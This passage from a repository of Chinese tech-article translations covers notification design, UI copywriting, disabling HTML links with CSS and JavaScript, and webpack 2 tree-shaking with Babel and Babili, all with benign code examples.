circumstances, you have to open the email to check out your mails. The notification enables you to get a gist of the matter without having to open the mailing application. ## Types of notifications: * **User generated notifications:** ![](https://cdn-images-1.medium.com/max/800/0*6YIy8q9IC5qmJqMp.) This is the most common and engaging types of notification. Mobile messaging is the simplest example of this type of notification. It is directed specifically at a particular user. Other simple examples of these notifications are the posts, likes, and comments you pass on social media. * **Context generated notifications:** This is also a fast growing type of notification where the application generated a notification based on permission of its users. The location based notifications are the best examples. Sports and meeting updates are also very common in this category. ![](https://cdn-images-1.medium.com/max/800/0*gXIdt622EuYhyyhO.) Source: Macrumors * **System generated notifications:** ![](https://cdn-images-1.medium.com/max/800/0*7s568YpSLSUbzWo0.) Source: aboveandroid.com These are notifications generated by the app based on the needs of the app. An example of such a notification is a security alert requesting for resetting of password. * **Push notifications:** In fact, all kinds of notifications can come under the classification of push notifications for the simple reason that they are pushed through by the system.Push notifications are of two types. One that requires you to take immediate action and the second one is passive notification. * **Notifications requiring action from the user** The very purpose of the notification is to induce the user to take immediate action. It can be an email alert, a notification to change the password, a notification offering a sale discount asking you to use a discount code, etc. ![](https://cdn-images-1.medium.com/max/800/0*R9VMjbIYQk_Q65fH.) Source: material.io * **Passive notification:** These notifications provide information to the user. There is no need for the user to take any immediate action on it. A weather update could be one simple example of this type of notification. ![](https://cdn-images-1.medium.com/max/800/0*XKN4mrMsm5TGC6mF.) Source:Androidcentral * **Smart notifications:** ![](https://cdn-images-1.medium.com/max/800/0*wcAiMtTJR5HkHM85.) Source:Beebom The smart notifications have the unique ability to be delivered to each app. You can set up triggers to sensitize the app when to release the notification. We have already stated earlier in the article that the timing of the notification is very important. The objective of pushing a notification is to ensure the user to take immediate action. This makes the timing very important. The system can sense when the interaction level can be at the maximum. This will deliver a positive experience to the user. Secondly, you can track the smart notifications and analyze the results. This enables the system to improvise on the quality of the notifications. This can determine the success rate of the notification campaign. **What makes a good notification?** * **Non-interfering:** A notification is a timely alert. However, it can distract the user. Hence, the main characteristic of a notification is that it should be non-interfering. It should achieve the purpose of letting the user know that something important is on the way. * **Small in size**: A good notification should be as small as possible but effective at the same time. An example of a simple unobtrusive notification is the calendar notification that usually slides at the top of your mobile screen. They are small in size but they serve the purpose well. * **Contextual**: A location based push notification is contextual. They can alert you in case you are in the vicinity of the particular retail store. This feature works depending on the shopping and wish lists you create on the online shopping websites. * **Serve warnings**: A good notification should act as a confirmation message, especially when you delete apps or important messages. It can serve a timely warning to the user that you are about to delete something permanently from your mobile phone. **When not to use a notification?** ![](https://cdn-images-1.medium.com/max/800/0*A6wknVNblmK4X7pC.) **Source: kissmetrics** Notifications should not be used at every instance, as frequent interruptions may cause annoyance. Its best not to use notification when: * A user has never opened your app * There is no value to bring to a user, such as “Haven’t seen you in a while” * Requests to review or rate an app * Operations that don’t require user involvement, like syncing information * Error states from which the app may recover without user interaction **How to design a notification?** The good news is that you can design meaningful notifications without compromising the user experience. Here are a few tips on designing notifications- * **Design considering the importance of your message:** Choose different designs for different types of massive. For passive notifications, choose a lighter design while an action-required notification, design to attract user’s notification. Pick right colors, say a red for immediate action. Use relevant icons. ![](https://cdn-images-1.medium.com/max/800/0*mYoibne9sgQ-AFHX.) Source: Designdeck * **Provide enough information:** The purpose behind a notification is to inform about an event and encourage him to take action. But, for that, he need enough information. So make sure that your notification has enough information to help him understand the purpose of notification and what needs to be done. ![](https://cdn-images-1.medium.com/max/800/0*SesUf_hDZ37fiaY1.) Source: easycodeway.com * **Give user the control:** UX accentuates when users feel that they are in control. They has the choice of switching off notifications. Go beyond that and give them choices in- types of notification they want to receive, when they want to receive and the frequency of notification. ![](https://cdn-images-1.medium.com/max/800/0*R755XUbOHY0AVRGp.) Source: Gadgetguideonline.com * **Handle multiple notifications smartly:** To handle multiple notifications of the same type, create one notification that summarizes them all. For example, a messaging app might have a summary notification that says “3 new messages.” Upon expansion, it could show a snippet for each message. This lets the user know about the time it would take to deal with the notification. ![](https://cdn-images-1.medium.com/freeze/max/30/0*6SLxnj4cU4nS6GMe.?q=20) ![](https://cdn-images-1.medium.com/max/800/0*6SLxnj4cU4nS6GMe.) Source:material.io * **Embrace A/B testing:** The best way to get your design right is to put it to rigorous testing. Try out different designs and test them. See which design is making the user take the desired action. And what’s not working. ![](https://cdn-images-1.medium.com/max/800/0*favEgcGEH9ylDLrP.) **Final Thoughts:** Notifications are double-edged swords. They can promote engagement but can also result in user annoyance. So getting it right is important for your overall experience? How do you manage your notifications? What are your rules for designing good notifications? Share your thoughts in the comments section. Also, if you find my article interesting, please share it with your friends. ![](https://cdn-images-1.medium.com/max/800/1*VdnKzKfQQINWkLUUxE6IMw.png) Validate your designs FREE with real users at [http://canvasflip.com](http://canvasflip.com) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-design-words.md ================================================ > * 原文地址:[How to design words](https://medium.com/@jsaito/how-to-design-words-63d6965051e9?ref=uxdesignweekly#.97vnoptue) * 原文作者:[John Saito](https://medium.com/@jsaito) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[jiaowoyongqi](https://github.com/jiaowoyongqi) * 校对者:[cbangchen](https://github.com/cbangchen), [funtrip](https://github.com/funtrip) # 如何给你的产品写文案? 严格来说,我是一名文字工作者,我靠文字赚钱。但我有一件事大部分人都不知道:**我讨厌阅读。** 别理解错了我的意思,我现在依旧保持着阅读的习惯。我会定期浏览书籍、博客、新闻以及杂志。但当作者们把文章写得越来越拖拉,我就不知道我的眼睛到底在看哪里,脑子也越来越迟钝。 ![](http://ac-Myg6wSTV.clouddn.com/06ace735d89bb435285d.png) 这样的文章就像一面文字堆砌成的墙。 当我还小的时候,我总认为对于阅读的反感是我自身的一个缺点。但直到近几年我才意识到,这个弱点帮助我成为了一个更好的文字工作者。 正如你们所知,我常常为应用和网站中的界面写文案。这是需要字字斟酌的。为界面写文案也是一种设计——为那些讨厌阅读的人群而设计。 ### 用户根本不会仔细阅读界面上的文字 大量的研究表明[用户不会仔细阅读网页上的文字](https://www.nngroup.com/articles/how-users-read-on-the-web/)。这道理同样适用于手机应用、游戏以及其他交互界面上。大部分用户习惯于粗略地浏览并且摘取只言片语的信息。 ![](http://ac-Myg6wSTV.clouddn.com/deedc22b6dceb7ef80e7.png) 你一定会感到惊讶,因为相当多的用户都会选择直接点击“下一步”的按钮。 是因为人们的懒惰?心不在焉?还是他们真的讨厌阅读?无论你同意哪一个观点,结果都是一样的。那就是用户不会阅读界面上大部分的文字,无论文字多么的优美。 因为这个原因,你不能在界面上简单地堆砌文字。在编写文案的时候,你可能会发现原有的设计方案需要进行调整。如果你无法用简单的语言概况一个行为,那么这就表明你的设计过于复杂。 换句话说:设计的时候不应该使用无意义的占位符,而是换用真实的文案。 ### 7个文案设计的小贴士 作为界面文案编写者,我学到了一些能让你的文案变得更易于阅读的方法。希望这些心得能帮助你更好地设计界面的文案。 #### 1\. 精简用语 要帮助用户阅读,最重要的事就是要精简你的用词。当你写完你的草稿后,你应该一遍遍地精简它。删去不必要的细节,使用更简洁的词语,直击要点。记住要狠点儿。 ![](http://ac-Myg6wSTV.clouddn.com/2adb4fe22ae668ce6851.png) 你的文字越精悍,那它就越可能被用户阅读。 作为一个文字工作者,我深知发散的想法和丰富的辞藻对作家的诱惑力,但是在为界面设计文案的时候这并不是个正确的方向。这也是 Medium 兴起的重要原因。😀 #### 2\. 加上标题 有时候,你可能无法再精简你的文字了。这时候,你可以试着增加一个具有概括性的简短标题,并使用一些用户可能会关心的关键词。当他们需要进一步了解的时候就会深入阅读了。 ![](http://ac-Myg6wSTV.clouddn.com/75704742caabeb14b259.png) 标题会让你的内容更有可读性。 #### 3\. 分点论述 当我读完这篇文章[我们的视线趋向于从上至下地浏览](http://www.eyegaze.com/eye-tracking-study-reveals-how-users-scan-google-search-results/)之后得出了一个结论,那就是以分点论述为形式的段落更易于阅读。 当你在一个段落中大量地使用“和”、“或者”的时候,可以试试分点论述的方法。 ![](http://ac-Myg6wSTV.clouddn.com/a00f1f6bee031fee0dbf.png) 我爱分点论述。 #### 4\. 让读者歇会儿 许多产品,比如 Medium,本身就很注重内容的呈现,这是没有问题的。但是有时候文字一大段接着一大段连续的出现,会对阅读造成较大的困难。 当我需要写下大段文字的时候,我会试着使用许多**缓解阅读疲劳的元素**比如破折号、图片、标题、例子等,以及其他可以打破文字墙的元素。这可以为读者提供一个休息的间隙。而且这也为读者提供了思考的时间,同样如果他们愿意也可以选择跳过并继续阅读。 例如,在我的 Medium 博文中,我会让段落之间以分割线来进行区分,尽可能多地撒上缓解阅读疲劳的调味品。 ![](http://ac-Myg6wSTV.clouddn.com/b3e63b2ca666741b7361.png) 撒上一些缓解阅读疲劳的调味品吧。 #### 5\. 优化你的文字 很多作家都会把关注点放在挑选合适的词语。使用合适的词语固然重要,但是我认为词语正确的**展示**也是同样重要。 当你在设计文案的时候,应该考虑如何强调界面上最为重要的文字,然后如何弱化那些非重点的文字或其他元素。在设计当中,这也被称为**视觉层次**。 时刻考虑字重、字号、字体颜色、对比度、字体类型、是否大小写、间距、空间感,对齐方式以及韵律等,所有的这些都会对读者的阅读造成或多或少的影响。仔细调整每一个特性直到找到最平衡的状态。 ![](http://ac-Myg6wSTV.clouddn.com/df8b234689949f4c6081.png) 哪一个更易于阅读? #### 6\. 慢慢地展示 当你试着教会用户如何使用某个功能时,你很可能会把所有信息都一股脑地堆在界面上,并且祈祷用户能够读懂并理解。但事实上,如果你的文字超过了两三行,很多用户可能不会去读它。那么你该怎么办? 有时候你可以每次只给用户展现一小部分的信息。这个方法的学名叫做**渐进式揭露**,但是我却偏向称之为**慢慢展示**。(这听起来更有意思不是吗?)试着把你的信息拆分成许多小块儿,并且一点点地进行展示。 ![](http://ac-Myg6wSTV.clouddn.com/e9411a7afc982098d6ce.png) 字数太多了?试着拆分开来一点点展示。 另一件事就是你可以删去界面上大部分细节信息的文字,并且加上一个跳转至帮助中心的链接。许多产品都会使用“查看更多”的链接,点击后跳转到帮助中心页,那里包含产品的所有细节信息。 #### 7\. 写在原型界面上,而不是文档中 你是否有遇到过这种情况,有些文案写在文档上看起来很好,但当放在界面上却发现字数太长而得重新再写?当你在使用谷歌文档、Dropbox Pape 或者其他写作软件来编写文案的时候这种情况会经常发生。 当你为界面编写文案的时候,了解界面实际的情况是至关重要的。你需要知道你写出的文案与界面上其他的元素是否和谐。 这就是为什么我更偏向于在 Sketch 的原型上写文案而不是在文档上。我发现在原型上也可以帮助我更好地写出合适的文案,因为我可以实时地看到我的文案在实际界面上是如何呈现的。 ![](http://ac-Myg6wSTV.clouddn.com/2e76414369925ab034ab.png) ### 最后的话 世上的文字承载着信息。它们帮助我们了解周围的世界。但是可惜的是,大部分的人都不喜欢阅读。如果你跟我一样是一位文字工作者,我们的共同目标应该是让阅读变得尽可能的简单。帮助人们更好地了解并感受这个世界。 以上的观点只是我在设计文案时总结的一点心得。你是否有自己的观点?如果有请把你的想法和故事写在下面的评论栏里吧。 感谢文字的力量,以此献给那些讨厌阅读的你。 * * * **大爱❤** [_Brandon Land_](https://medium.com/u/496222766919) **所提供的撒调味料的插画** ================================================ FILE: TODO/how-to-disable-links.md ================================================ > * 原文地址:[How to Disable Links](https://css-tricks.com/how-to-disable-links/?utm_source=frontendfocus&utm_medium=email) > * 原文作者:[GERARD COHEN](https://css-tricks.com/author/gerardkcohen/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-disable-links.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-disable-links.md) > * 译者:[Usey95](https://github.com/usey95) > * 校对者:[athena0304](https://github.com/athena0304) [LeopPro](https://github.com/LeopPro) # 禁用连接:从入门到放弃 有一天,我在工作中产生了关于如何禁用链接的思考。不知为何,去年我无意添加了一个「disabled」锚点样式。但有一个问题:你无法在 HTML 中真正禁用 `` 链接(拥有合法 `href` 属性)。更何况,你为什么要禁用它呢?链接是 Web 的基础。 某种意义上,我的同事看起来并不打算接受这个事实,所以我开始思考如何真正实现它。我知道这将付出很多努力,所以我想证明为了这种非传统的交互并不值得付出努力和代码。但我担心一旦被证明这是可以实现的,他们将无视我的警告继续做类似的尝试。这还没有动摇我,不过我觉得我们可以开始看我的研究了。 第一: ### 不要这样做。 一个被禁用的链接不能称作一个链接,它只是一段文本。如果需要禁用一个链接的话,你需要重新思考你的设计。 Bootstrap 有一个为锚点标签添加 `.disabled` 类的例子,我很讨厌这点。虽然他们至少提及了这个类只提供了一个禁用 **样式**,但这仍然是一种误导。如果你真的想禁用一个链接,你需要做更多的工作而不是只是让它 **看起来** 被禁用了。 ### 万无一失的办法:移除 href 属性 如果你决定无视我的警告尝试禁用一个链接,那么 **移除 `href` 属性是我所知的最好的办法**。 官方解释 [Hyperlink spec](https://www.w3.org/TR/html5/links.html#attr-hyperlink-href): > `a` 和 `area` 元素的 `href` 属性不是必要的;当这些元素没有 `href` 属性时,它们将不会解释成超链接。 一个更易理解的定义 [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a): > 这个属性可以被忽略(从 HTML5 开始支持)以创建一个占位符链接。占位符链接类似传统的超链接,但它不会跳转到任何地方。 下面是用来设置和移除 `href` 属性的基本 JavaScript 代码: ``` /* * 用你习惯的方式选择一个链接 * * document.getElementById('MyLink'); * document.querySelector('.link-class'); * document.querySelector('[href="https://unfetteredthoughts.net"]'); */ // 通过移除 href 属性来「禁用」一个链接。 link.href = ''; // 通过设置 href 属性启用链接 link.href = 'https://unfetteredthoughts.net'; ``` 为这些链接设置 CSS 样式同样非常简单: ``` a { /* 已禁用的链接样式 */ } a:link, a:visited { /* or a[href] */ /* 可访问的链接样式 */ } ``` **这就是你所要做的全部!** ### 这是不够的,我想要更复杂的东西让我看起来更聪明! 如果你不得不为了某些极端情况过度设计,这里有些事情需要考虑。希望你注意并且意识到我将为你展示的东西并不值得为之努力。 首先,我们需要为链接添加样式,让它看起来被禁用了。 ``` .isDisabled { color: currentColor; cursor: not-allowed; opacity: 0.5; text-decoration: none; } ``` ``` Disabled Link ``` ![](https://cdn.css-tricks.com/wp-content/uploads/2017/11/disabled-link.gif) 把 `color` 设置成 `currentColor` 将把字体颜色重置为普通的非链接文本的颜色。同时把鼠标悬停设置为 `not-allowed`,这样鼠标悬停时就会显示禁用的标识。我们遗漏掉了那些不使用鼠标的用户,他们主要使用触摸和键盘,所以并不会得到这个指示。接下来,将透明度减至 0.5。根据 [WCAG](https://www.w3.org/WAI/WCAG20/quickref/#visual-audio-contrast-contrast),禁用的元素不需要满足颜色对比指南。我认为这是很危险的,因为这基本上是纯文本,减少透明度至 0.5 将使视弱用户难以阅读,这是我讨厌禁用链接的另一个原因。最后,文本的下划线被移除了,因为它通常是一个链接的最佳标识。现在,这 **看起来** 是一个被禁用的链接了! 但它并没有被真正禁用!用户仍然可以点击、触摸这个链接。我听到你在尖叫 `pointer-events`。 ``` .isDisabled { ... pointer-events: none; } ``` 现在,我们完成了所有工作!禁用一个链接已经大功告成!虽然这只是对鼠标用户和触屏用户 **真正地** 禁用了链接。那么对于不支持 `pointer-events` 的浏览器怎么办呢?根据 [caniuse](https://caniuse.com/#feat=pointer-events),Opera Mini 以及 IE 11 以下版本都不支持这个属性。IE 11 以及 Edge 实际上也不支持 `pointer-events`,除非 `display` 设置成 `block` 或者 `inline-block`。而且,将 `pointer-events` 设置成 `none` 将覆盖我们 `not-allowed` 的指针样式,所以现在鼠标用户将不会得到这个额外的视觉指示,表明链接被禁用。这已经开始崩溃了。现在我们不得不更改我们的标记和 CSS。 ``` .isDisabled { cursor: not-allowed; opacity: 0.5; } .isDisabled > a { color: currentColor; display: inline-block; /* 为了 IE11/ MS Edge 的 bug */ pointer-events: none; text-decoration: none; } ``` ``` Disabled Link ``` 将一个链接包裹在 `` 标签中并添加 `isDisabled` 类给了我们一半禁用视觉样式。一个很好的效果是这个 `isDisabled` 类是通用的,可以用在其他元素上,例如按钮和表单元素。实际的锚点标签现在有设置为 `none` 的 `pointer-events` 和 `text-decoration` 属性。 那么键盘用户呢?键盘用户会使用回车键激活链接。`pointer-events` 只用于光标,没有键盘事件。我们还需要防止不支持 `pointer-events` 的旧浏览器激活链接,现在我们将介绍一些 JavaScript。 ### 引入 JavaScript ``` // 在用常用方法获取链接之后 link.addEventListener('click', function (event) { if (this.parentElement.classList.contains('isDisabled')) { event.preventDefault(); } }); ``` 现在我们的链接 **看起来** 被禁用了而且不会响应点击、触摸以及回车键。但是我们还没完成!屏幕阅读器用户无法知道这个链接已经被禁用了。我们需要将这个链接描述为被禁用。`disabled` 属性在链接上不合法,但我们可以使用 `aria-disabled="true"`。 ``` Disabled Link ``` 现在我将利用这个机会根据 `aria-disabled` 属性设置链接样式。我喜欢使用 ARIA 属性作为 CSS 的钩子,因为拥有不正确的样式的元素可以表现出重要的可访问缺失。 ``` .isDisabled { cursor: not-allowed; opacity: 0.5; } a[aria-disabled="true"] { color: currentColor; display: inline-block; /* 为了 IE11/ MS Edge 的 bug */ pointer-events: none; text-decoration: none; } ``` 现在我们的链接 **看起来** 被禁用, **表现起来** 被禁用, 而且被 **描述** 成被禁用. 不幸的是,即便链接被描述成被禁用,一些屏幕阅读器(JAWS)仍将宣称这些链接是可点击的。任何一个有点击事件监听器的元素都是这样。这是因为开发者倾向于将非交互元素如 `div` 和 `span` 添加事件监听器从而当做伪交互元素使用。对此我们无能为力。我们为了去除一个链接的所有特征所做的努力都被我们想要愚弄的辅助技术所挫败,讽刺的是,我们之前就想骗过它了。 不过,如果我们将监听器移动到 body 呢? ``` document.body.addEventListener('click', function (event) { // 过滤掉其他元素的点击事件 if (event.target.nodeName == 'A' && event.target.getAttribute('aria-disabled') == 'true') { event.preventDefault(); } }); ``` 我们完成了吗?其实并没有。有的时候我们需要启用这些链接,所以我们需要添加额外的代码来切换这些状态或行为。 ``` function disableLink(link) { // 1\. 为父级 span 添加 isDisabled 类 link.parentElement.classList.add('isDisabled'); // 2\. 保存 href 以便以后添加 link.setAttribute('data-href', link.href); // 3\. 移除 href link.href = ''; // 4\. 设置 aria-disabled 为 'true' link.setAttribute('aria-disabled', 'true'); } function enableLink(link) { // 1\. 将父级 span 的 'isDisabled' 类移除 link.parentElement.classList.remove('isDisabled'); // 2\. 设置 href link.href = link.getAttribute('data-href'); // 3\. 移除 'aria-disabled' 属性,比将其设为 false 更好 link.removeAttribute('aria-disabled'); } ``` 就是这样。我们现在从视觉上、功能上以及语义上为所有的用户禁用了链接。它只用了 10 行 CSS,15 行 JavaScript(包括 body 上的一个监听器)以及 2 个 HTML 元素。 说真的,**不要做这样的尝试。** --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-do-proper-tree-shaking-in-webpack-2.md ================================================ > * 原文地址:[How to do proper tree-shaking in Webpack 2](https://blog.craftlab.hu/how-to-do-proper-tree-shaking-in-webpack-2-e27852af8b21) > * 原文作者:[Gábor Soós](https://blog.craftlab.hu/@blacksonic86) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-do-proper-tree-shaking-in-webpack-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-do-proper-tree-shaking-in-webpack-2.md) > * 译者:[薛定谔的猫](https://github.com/Aladdin-ADD/) > * 校对者:[lsvih](https://github.com/lsvih)、[lampui](https://github.com/lampui) # 如何在 Webpack 2 中使用 tree-shaking tree-shaking 这个术语首先源自 [Rollup](https://rollupjs.org/) -- Rich Harris 写的模块打包工具。它是指在打包时只包含用到的 Javascript 代码。它依赖于 ES6 静态模块(exports 和 imports 不能在运行时修改),这使我们在打包时可以检测到未使用的代码。Webpack 2 也引入了这一特性,[Webpack 2](https://webpack.js.org/) 已经内置支持 ES6 模块和 tree-shaking。本文将会介绍如何在 webpack 中使用这一特性,如何克服使用中的难点。 ![](https://cdn-images-1.medium.com/max/2000/1*djuJdyxfBwGEClfgji8GRw.jpeg) 如果想跳过,直接看例子请访问 [Babel](https://github.com/blacksonic/babel-webpack-tree-shaking)、[Typescript](https://github.com/blacksonic/typescript-webpack-tree-shaking)。 #### 应用举例 理解在 Webpack 中使用 tree-shaking 的最佳的方式是通过一个微型应用例子。我将它比作一个汽车有特定的引擎,该应用由 2 个文件组成。第 1 个文件有:一些 class,代表不同种类的引擎;一个函数返回其版本号 -- 都通过 export 关键字导出。 ``` export class V6Engine { toString() { return 'V6'; } } export class V8Engine { toString() { return 'V8'; } } export function getVersion() { return '1.0'; } ``` 第 2 个文件表示一个汽车拥有它自己的引擎,将这个文件作为应用打包的入口(entry)。 ``` import { V8Engine } from './engine'; class SportsCar { constructor(engine) { this.engine = engine; } toString() { return this.engine.toString() + ' Sports Car'; } } console.log(new SportsCar(new V8Engine()).toString()); ``` 通过定义类 SportsCar,我们只使用了 *V8Engine*,而没有用到 *V6Engine*。运行这个应用会输出:*‘V8 Sports Car’*。 应用了 tree-shaking 后,我们期望打包结果只包含用到的类和函数。在这个例子中,意味着它只有 *V8Engine* 和 *SportsCar* 类。让我们来看看它是如何工作的。 #### 打包 ![](https://cdn-images-1.medium.com/max/1600/1*eXdX_sQKzEZomscFgpEwRQ.png) 我们打包时不使用编译器([Babel](https://babeljs.io/) 等)和压缩工具([UglifyJS](https://github.com/mishoo/UglifyJS2) 等),可以得到如下输出: ``` (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* unused harmony export getVersion */ class V6Engine { toString() { return 'V6'; } } /* unused harmony export V6Engine */ class V8Engine { toString() { return 'V8'; } } /* harmony export (immutable) */ __webpack_exports__["a"] = V8Engine; function getVersion() { return '1.0'; } /***/ }), /* 1 */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__engine__ = __webpack_require__(0); class SportsCar { constructor(engine) { this.engine = engine; } toString() { return this.engine.toString() + ' Sports Car'; } } console.log(new SportsCar(new __WEBPACK_IMPORTED_MODULE_0__engine__["a" /* V8Engine */]()).toString()); /***/ }) ``` Webpack 用注释 */\*unused harmony export V6Engine\*/* 将未使用的类和函数标记下来,用 */\*harmony export (immutable)\*/ __webpack_exports__[“a”] = V8Engine;* 来标记用到的。你应该会问未使用的代码怎么还在?tree-shaking 没有生效吗? #### 移除未使用代码(Dead code elimination)vs 包含已使用代码(live code inclusion) 背后的原因是:Webpack 仅仅标记未使用的代码(而不移除),并且不将其导出到模块外。它拉取所有用到的代码,将剩余的(未使用的)代码留给像 UglifyJS 这类压缩代码的工具来移除。UglifyJS 读取打包结果,在压缩之前移除未使用的代码。通过这一机制,就可以移除未使用的函数 *getVersion* 和类 *V6Engine*。 而 Rollup 不同,它(的打包结果)只包含运行应用程序所必需的代码。打包完成后的输出并没有未使用的类和函数,压缩仅涉及实际使用的代码。 #### 设置 UglifyJS [不支持 ES6](https://github.com/mishoo/UglifyJS2/issues/448)(又名 ES2015)及以上。我们需要用 Babel 将代码编译为 ES5,然后再用 UglifyJS 来清除无用代码。 ![](https://cdn-images-1.medium.com/max/1600/1*FS50WgvWgoi3hxY_IPqTXw.png) 最重要的是让 ES6 模块不受 Babel 预设(preset)的影响。Webpack 认识 ES6 模块,只有当保留 ES6 模块语法时才能够应用 tree-shaking。如果将其转换为 CommonJS 语法,Webpack 不知道哪些代码是使用过的,哪些不是(就不能应用 tree-shaking了)。最后,Webpack将把它们转换为 CommonJS 语法。 我们需要告诉 Babel 预设(在这个例子中是[babel-preset-env](https://github.com/babel/babel-preset-env))不要转换 module。 ``` { "presets": [ ["env", { "loose": true, "modules": false }] ] } ``` 对应 Webpack 配置: ``` module: { rules: [ { test: /\.js$/, loader: 'babel-loader' } ] }, plugins: [ new webpack.LoaderOptionsPlugin({ minimize: true, debug: false }), new webpack.optimize.UglifyJsPlugin({ compress: { warnings: true }, output: { comments: false }, sourceMap: false }) ] ``` 来看一下 tree-shaking 之后的输出: [link to minified code](https://github.com/blacksonic/babel-webpack-tree-shaking/blob/master/dist/car.prod.bundle.js). 可以看到函数 getVersion 被移除了,这是我们所预期的,然而类 V6Engine 并没有被移除。这是什么原因呢? #### 问题 首先 Babel 检测到 ES6 模块将其转换为 ES5,然后 Webpack 将所有的模块聚集起来,最后 UglifyJS 会移除未使用的代码。我们来看一下 UglifyJS 的输出,就可以找到问题出在哪里。 *WARNING in car.prod.bundle.js from UglifyJs Dropping unused function getVersion [car.prod.bundle.js:103,9] Side effects in initialization of unused variable V6Engine [car.prod.bundle.js:79,4]* 它告诉我们类 *V6Engine* 转换为 ES5 的代码在初始化时有副作用。 ``` var V6Engine = function () { function V6Engine() { _classCallCheck(this, V6Engine); } V6Engine.prototype.toString = function toString() { return 'V6'; }; return V6Engine; }(); ``` 在使用 ES5 语法定义类时,类的成员函数会被添加到属性 *prototype*,没有什么方法能完全避免这次赋值。UglifyJS 不能够分辨它仅仅是类声明,还是其它有副作用的操作 -- UglifyJS 不能做控制流分析。 编译过程阻止了对类进行 tree-shaking。它仅对函数起作用。 在 Github 上,有一些相关的 bug report:[Webpack repository](https://github.com/webpack/webpack/issues/2867)、[UglifyJS repository](https://github.com/mishoo/UglifyJS2/issues/1261)。一个解决方案是 UglifyJS 完全支持 ES6,希望[下个主版本](https://github.com/mishoo/UglifyJS2/issues/1411)能够支持。另一个解决方案是将其标记为 pure(无副作用),以便 UglifyJS 能够处理。这种方法[已经实现](https://github.com/mishoo/UglifyJS2/pull/1448),但要想生效,还需编译器支持将类编译后的赋值标记为 @\__PURE\__。实现进度:[Babel](https://github.com/babel/babel/issues/5632)、[Typescript](https://github.com/Microsoft/TypeScript/issues/13721)。 #### 使用 Babili Babel 的开发者们认为:为什么不开发一个基于 Babel 的代码压缩工具,这样就能够识别 ES6+ 的语法了。所以他们开发了[Babili](https://github.com/babel/babili),所有 Babel 可以解析的语言特性它都支持。Babili 能将 ES6 代码编译为 ES5,移除未使用的类和函数,这就像 UglifyJS 已经支持 ES6 一样。 Babili 会在编译前删除未使用的代码。在编译为 ES5 之前,很容易找到未使用的类,因此 tree-shaking 也可以用于类声明,而不再仅仅是函数。 我们只需用 Babili 替换 UglifyJS,然后删除 babel-loader 即可。另一种方式是将 Babili 作为 Babel 的预设,仅使用 babel-loader(移除 UglifyJS 插件)。推荐使用第一种(插件的方式),因为当编译器不是 Babel(比如 Typescript)时,它也能生效。 ``` module: { rules: [] }, plugins: [ new BabiliPlugin() ] ``` 我们需要将 ES6+ 代码传给 BabiliPlugin,否则它不用移除(未使用的)类。 使用 Typescript 等编译器时,也应当使用 ES6+。Typescript 应当输出 ES6+ 代码,以便 tree-shaking 能够生效。 现在的输出不再包含类 *V6Engine*:[压缩后代码](https://github.com/blacksonic/babel-webpack-tree-shaking/blob/master/dist/car.es2015.prod.bundle.js)。 #### 第三方包 对第三方包来说也是,应当使用 ES6 模块。幸运的是,越来越多的包作者同时发布 CommonJS 格式 和 ES6 格式的模块。ES6 模块的入口由 *package.json* 的字段 *module* 指定。 对 ES6 模块,未使用的函数会被移除,但 class 并不一定会。只有当包内的 class 定义也为 ES6 格式时,Babili 才能将其移除。很少有包能够以这种格式发布,但有的做到了(比如说 lodash 的 lodash-es)。 罪魁祸首是当包的单独文件通过扩展它们来修改其他模块时,导入文件有副作用。[RxJs](https://github.com/Reactive-Extensions/RxJS)就是一个例子。通过导入一个运算符来修改其中一个类,这些被认为是副作用,它们阻止代码进行 tree-shaking。 #### 总结 通过 tree-shaking 你可以相当程度上减少应用的体积。Webpack 2 内置支持它,但其机制并不同于 Rollup。它会包含所有的代码,标记未使用的函数和函数,以便压缩工具能够移除。这就是对所有代码都进行 tree-shake 的困难之处。使用默认的压缩工具 UglifyJS,它仅移除未使用的函数和变量;Babili 支持 ES6,可以用它来移除(未使用的)类。我们还必须特别注意第三方模块发布的方式是否支持 tree-shaking。 希望这篇文章为您清楚阐述了 Webpack tree-shaking 背后的原理,并提供了克服困难的思路。 实际例子请访问 [Babel](https://github.com/blacksonic/babel-webpack-tree-shaking)、[Typescript](https://github.com/blacksonic/typescript-webpack-tree-shaking)。 --- *感谢阅读!喜欢本文请点击[原文](https://blog.craftlab.hu/how-to-do-proper-tree-shaking-in-webpack-2-e27852af8b21)中的 ❤,然后分享到社交媒体上。欢迎关注 